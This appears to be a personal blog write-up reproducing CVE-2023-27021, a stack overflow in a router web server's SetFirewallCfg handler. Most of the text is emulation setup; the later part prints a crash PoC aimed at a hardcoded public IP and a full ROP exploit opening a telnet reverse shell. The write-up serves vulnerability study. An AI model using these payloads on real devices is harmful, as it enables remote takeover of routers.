cve-2023-27021

搭建qemu环境

https://blog.csdn.net/weixin_44458100/article/details/136042605

网上找了好几篇,最终参考了这篇博客

AARCH64的工具链安装准备:

1
sudo apt-get install gcc-aarch64-linux-gnu -y

下载编译安装QEMU

1
2
wget https://download.qemu.org/qemu-8.2.0.tar.bz2
tar -xjf qemu-8.2.0.tar.bz2

配置QEMU

配置qemu源码前要要求本地环境python版本要大于3.8和glib2.0环境依赖

安装各种环境

1
2
3
4
5
6
7
8
sudo apt-get install python3-venv
sudo apt-get install python3-pip
sudo apt-get update
pip3 install --upgrade pip
pip3 install sphinx
pip3 install sphinx_rtd_theme
pip3 install Ninja
sudo apt-get install libglib2.0-0 libglib2.0-dev ninja-build libpixman-1-dev

qemu

1
2
3
4
cd qemu-8.2.0
mkdir build/
cd build/
../configure --target-list=aarch64-softmmu --audio-drv-list=

编译安装qemu

~/qemu-8.2.0/build/$

1
sudo make -j8 && make install

下载编译kernel

1
www.kernel.org

image-20240816030016039

1
2
3
4
tar -xf linux-5.10.209.tar.xz
cd linux-5.10.223
sudo make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- defconfig
sudo make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- Image -j8

make这里我报了一堆错,问gpt说是少工具:

1
2
sudo apt-get install bison
sudo apt-get install libssl-dev

然后开始make,友情提示:这段时间比较长,可以去干点别的事

image-20240816031525530

1
sudo make modules -j8

这里我出现了一堆选项,我是一路回车过去的

使用busybox制作根文件系统

1
2
3
wget https://www.busybox.net/downloads/busybox-1.36.1.tar.bz2
tar -xjf busybox-1.36.1.tar.bz2
cd busybox-1.36.1

这里我看一堆博客都是这样,搞不懂在说啥

image-20240816032656488

gpt说:

1
sudo make menuconfig

但是我又报错,得先安装库:

1
sudo apt-get install libncurses5-dev libncursesw5-dev

然后再运行上面那条命令,结果非常的amazing啊,立马出来我想要的东西了

根据博客依次选择Settings,

image-20240816033113763

image-20240816033452625

上图要用空格选中,但是我的没有(aarch64-linux-gnu-) Cross compiler prefix这一行,硬着头皮接着往下

确保看到这个

image-20240816034808983

没看到的话重新来一遍

1
2
sudo make menuconfig
make clean

然后

1
make -j8

image-20240816035416402

statically linked这样就是对的,然后执行下面命令,进行安装文件系统

1
make install

这里换了一篇博客参考:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
(1)下载busybox
$ wget http://busybox.net/downloads/
$ tar jxvf busybox-1.36.1.tar.bz2
(2) busybox编译配置打开静态链接选项
$ make menuconfig
Settings --->
[*] Build static binary (no shared libs)
(3) 编译busybox,执行成功会在代码根目录生成_install目录
cd 到busybox代码根目录
$ make && make install
(4) 在rootfs里添加/etc /lib 和/dev目录
$ cd _install
$ mkdir etc lib dev
$ ls
bin dev etc lib linuxrc sbin usr
// 在etc目录下创建如下文件
$ cat profile
#!/bin/sh
export HOSTNAME=virt-machine
export USER=root
export HOME=/home
export PS1="[$USER@$HOSTNAME \W]\# "
PATH=/bin:/sbin:/usr/bin:/usr/sbin
LD_LIBRARY_PATH=/lib:/usr/lib:$LD_LIBRARY_PATH
export PATH LD_LIBRARY_PATH
$ cat fstab
#device mount-point type options dump fsck order
proc /proc proc defaults 0 0
tmpfs /tmp tmpfs defaults 0 0
sysfs /sys sysfs defaults 0 0
tmpfs /dev tmpfs defaults 0 0
debugfs /sys/kernel/debug debugfs defaults 0 0
kmod_mount /mnt 9p trans=virtio 0 0
$ cat inittab
::sysinit:/etc/init.d/rcS
::respawn:-/bin/sh
::askfirst:-/bin/sh
::ctrlaltdel:/bin/umount -a -r
// 指明挂载的文件系统
$ mkdir -p etc/init.d
$ cat etc/init.d/rcS
mkdir -p /sys
mkdir -p /tmp
mkdir -p /proc
mkdir -p /mnt
/bin/mount -a
mkdir -p /dev/pts
mount -t devpts devpts /dev/pts
echo /sbin/mdev > /proc/sys/kernel/hotplug
mdev -s
$ chmod +x rcS
// 添加设备文件
$ cd dev
$ sudo mknod console c 5 1
$ sudo mknod null c 1 3
// 拷贝lib库到lib目录,方便qemu虚拟机启动后,动态编译的程序可以运行
$ cd linb && cp /usr/aarch64-linux-gnu/lib/*.so* -a .
$ ls
ld-linux-aarch64.so.1 libatomic.so.1 libgcc_s.so.1 liblsan.so.0 libnss_compat.so.2 libresolv.so libtsan.so.0
libBrokenLocale.so libatomic.so.1.2.0 libgomp.so.1 liblsan.so.0.0.0 libnss_dns.so.2 libresolv.so.2 libtsan.so.0.0.0
libBrokenLocale.so.1 libc.so libgomp.so.1.0.0 libm.so libnss_files.so.2 librt.so.1 libubsan.so.1
libanl.so libc.so.6 libhwasan.so.0 libm.so.6 libnss_hesiod.so libstdc++.so.6 libubsan.so.1.0.0
libanl.so.1 libc_malloc_debug.so libhwasan.so.0.0.0 libmemusage.so libnss_hesiod.so.2 libstdc++.so.6.0.30 libutil.so.1
libasan.so.6 libc_malloc_debug.so.0 libitm.so.1 libnsl.so.1 libpcprofile.so libthread_db.so
libasan.so.6.0.0 libdl.so.2 libitm.so.1.0.0 libnss_compat.so libpthread.so.0
作者:大江从来万山中
链接:https://juejin.cn/post/7360903734853910580
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

制作虚拟硬盘

1
2
3
4
5
6
7
8
9
10
cd ~/linux-5.10.223
dd if=/dev/zero of=rootfs_ext4.img bs=1M count=1024
mkfs.ext4 rootfs_ext4.img
mkdir -p tmpfs
sudo mount -t ext4 rootfs_ext4.img tmpfs/ -o loop
sudo cp ~/busybox-1.36.1/_install/ ./rootfs -a
sudo chown -R root:root rootfs
sudo cp -af rootfs/* tmpfs/
sudo umount tmpfs
chmod 777 rootfs_ext4.img

qemu 启动

1
2
3
4
5
6
7
8
9
10
11
12
13
// 创建qemu和主机的共享目录,该目录下的文件可以同时被qemu虚拟机中的Linux和主机上的Linux访问修改
mkdir kmodules
// 启动qemu虚拟机
qemu-system-aarch64 -machine virt -cpu cortex-a57 \
-m 1024 \
-smp 4 \
-kernel arch/arm64/boot/Image \
--append "noinitrd root=/dev/vda rw console=ttyAMA0 loglevel=8" \
-nographic \
-drive if=none,file=rootfs_ext4.img,id=hd0 \
-device virtio-blk-device,drive=hd0 \
--fsdev local,id=kmod_dev,path=$PWD/kmodules,security_model=none \
-device virtio-9p-device,fsdev=kmod_dev,mount_tag=kmod_mount

然后发现博客用的是qemu-static

1
2
3
apt install qemu
apt install qemu-user-static
sudo apt install qemu-system

建立虚拟网桥

1
2
3
4
5
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0

这里的ens33要用ip link show 看一下

image-20240913102725114

然后确保br0已经分配了ip地址

1
ip addr show br0

image-20240915141756888

没有就重新来一遍

1
2
3
4
sudo brctl delif br0 ens32
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0

使用qemu模拟启动httpd

1
2
cp $(which qemu-arm-static) .
sudo chroot ./ ./qemu-arm-static ./bin/httpd

不能用共享文件夹启动,不然会找不到libz.so.1

但是还是会报错,找不到什么套接字什么的

image-20240915144941634

看不懂,直接patch掉这个检测,根据cfm查找字符串定位到这个函数:int __fastcall sub_2E420(int a1, int a2)

image-20240915150833371

image-20240915150839263

image-20240915150950318

arm架构的汇编中BNE表示不相等跳转,直接改成B无条件跳转,完成,现在可以访问了

image-20240915151244372

image-20240915151302185

这是由于webroot下没有文件导致的,我们将webroot_ro/下所有文件拷贝过来就行

1
2
3
mkdir -p webroot
sudo cp webroot_ro/* webroot
sudo cp -r webroot_ro/* webroot

image-20240915151544488

成功

接下来就是复现漏洞

漏洞分析

使用IDA逆向httpd文件,寻找可以造成栈溢出的函数。挖掘栈溢出漏洞,通常我们要从一些危险函数入手,第一类函数是scanf,可能产生格式化字符串溢出漏洞,第二类是strcpy、strcat、sprintf等字符串拷贝函数。

找到这个CVE对应的formSetFirewallCfg这个函数,这里我们看到websGetVar传入的firewallEn赋值给s,后续没有对s进行长度校验,直接strcpy拷贝到了v3开辟的栈空间中,是一个明显的栈溢出漏洞。

image-20240915152701193

结合web交互的http流量包以及websGetVar函数名,可以合理推测formSetFirewallCfg是web传参用的函数,openSchedWifi就是构造url访问的接口名,一级目录名为goform。

因此,我们构造请求,尝试下是否可以触发溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://47.98.137.248/goform/SetFirewallCfg"
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "password=rtp5gk"
}

payload = "A" * 500
data = {"firewallEn": payload}
response = requests.post(url, headers=header, data=data, timeout=5)
response = requests.post(url, headers=header, data=data, timeout=5)
print(response.text)

运行脚本后

image-20240915153012723

image-20240915153023828

发现触发segmentation fault,说明漏洞存在

实现栈溢出之后,我们进一步尝试是否可以rce,使用checksec查看下二进制文件编译的保护情况

image-20240915153400331

发现只开启了NX enabled,无法直接执行栈中的shellcode,所以利用的思路是通过构造rop链构造相应参数来执行system命令,来拿到shell。

配置gdb动态调试环境

首先是配置gdb动态调试环境,安装gdb-multiarch及pwndbg插件。gdb-multiarch是一种支持调试多种架构程序的gdb

安装可参考:https://www.cnblogs.com/gd/p/16180128.html

调试程序

1
chroot ./ ./qemu-arm-static -g 9999 ./bin/httpd

另起一个终端,

1
gdb-multiarch ./bin/httpd

gdb中输入

1
set architecture arm
1
target remote :9999
1
c

此时python发送数据包

image-20240915154425440

image-20240915154450471

调试环境就绪

漏洞利用

1. 利用思路

由于程序开启了NX保护,无法直接执行栈中的shellcode,在程序的可执行的段中通过 ROP 技术执行我们的 shellcode。常用的的 ROP 技术包括 ret2text,ret2shellcode,ret2syscall,ret2libc。

此处我们采用ret2libc执行,ret2libc是指将程序返回 libc,直接调用 libc 中的system函数执行命令。

具体思路如下:

  • 找 libc 的基地址
  • 计算libc中system函数的地址
  • 控制r0寄存器,在r0中写入system函数要执行的参数,即我们要执行的shellcode。
  • 控制某寄存器,将system的地址写入某寄存器,并将system地址弹出到PC寄存器,使程序流执行system函数。

2. 计算溢出所需偏移量

image-20240915154811679

这里我选择静态分析方法,当然也可以用cyclic -l 等分析,这里不作赘述,双击dest:

image-20240915154927751

那么offset就是0x34

3. 寻找libc基址

在函数formSetFirewallCfg入口打个断点,continuing运行程序,发送上文中的poc,停到断点处

image-20240915155117820

然后用python发包,断在formSetFirewallCfg处

image-20240915155152069

image-20240915162039857

结合system地址判断大概libc可能在哪里,最终通过手动爆破找到libc真实地址:

image-20240915165813439

1
libc_base = 0x3fd9c000

4. 寻找gadget

1
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"

选择了这一条:

1
0x00040cb8 : mov r0, sp ; blx r3

blx(branch with link and exchange)相当于x86里的call,会将返回地址放入LR寄存器

再找一个可以劫持r3的gadget

1
ROPgadget --binary ./lib/libc.so.0 --only "pop" | grep r3

image-20240915170503313

编写payload:

1
payload = cyclic(52) + p32(r3_pop) + p32(system_addr) + p32(move_ro) + cmd

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import requests

url = "http://192.168.170.134"
header = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "password=bcf33de30ebf57e4d3785c08adec4b85cvztgb"
}

# 命令执行利用telnet反弹shell
cmd = b"echo test;telnet 192.168.170.1 4444 | /bin/sh | telnet 192.168.170.1 5555"

libc_base_addr = 0x3fd9c000
libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]

system_addr= libc_base_addr + system_offset
r3_pop =libc_base_addr + 0x00018298
move_r0= libc_base_addr+ 0x00040cb8

payload = cyclic(52) + p32(r3_pop) + p32(system_addr) + p32(move_r0) + cmd

data = {"firewallEn": payload}
response = requests.post(url + "/goform/SetFirewallCfg", headers=header, data=data)
print(response.text)

由于路由器一般不支持bin/bash命令,选择用telnet来getshell。VPN上分别监听 4444和5555端口,执行脚本

image-20240915171147323

nc 4444端口监听已经建立连接,输入命令,5555监听端口处获得回显

image-20240915171211423

image-20240915171311507

成功getshell